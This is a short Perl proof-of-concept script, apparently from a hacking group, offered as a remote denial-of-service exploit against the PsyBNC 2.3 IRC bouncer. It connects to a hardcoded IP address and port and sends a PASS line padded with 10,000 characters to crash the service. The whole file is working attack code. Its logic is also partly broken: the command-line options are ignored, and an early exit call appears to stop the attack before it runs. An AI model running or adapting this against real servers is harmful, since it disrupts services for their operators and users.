#!/usr/bin/perl
#PsyBNC 2.3 Remote DDOS POC
#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY

use Getopt::Std;
use IO::Socket;
$|=1;


my %options;
getopt('Hhp',%options);
$arg2 = shift(@ARGV);
$options{h} && usage();
do_psy();
sub usage()
{
    print("[L33TSECURITY]  PsyBNC 2.3 Remote DDOS
");
    print(" (C) DVDMAN 

");
    print("Usage: $0 [options]
");
    print("-H = hostname or ip REQUIRED
");
    print("-p = port of PSYBNC server REQUIRED
");
}
  
exit(1);

 

sub do_psy() {
my $test = "217.160.20.143";
my $test2 = "9000";

    $remote = IO::Socket::INET->new(
                        Proto     => "tcp",
                                PeerAddr  => $test,
                                PeerPort  => $test2,
        );
    unless ($remote) {
           print"error cannot connect";
           return
        }
    $remote->autoflush(1);


print STDERR "PsyBNC REMOTE DDOS BY DVDMAN
";
print STDERR " starting attack in 5 seconds...
";
sleep(5);

my $user = "USER OWNED OWNED OWNED OWNED OWNED
";
my $nick = "NICK OWNED
";
my $pw = "PASS " . "A"x10000;

print $remote $user;
print $remote $nick;
print $remote $pw;
print STDERR "DONE
"; 
die "BYE
";
}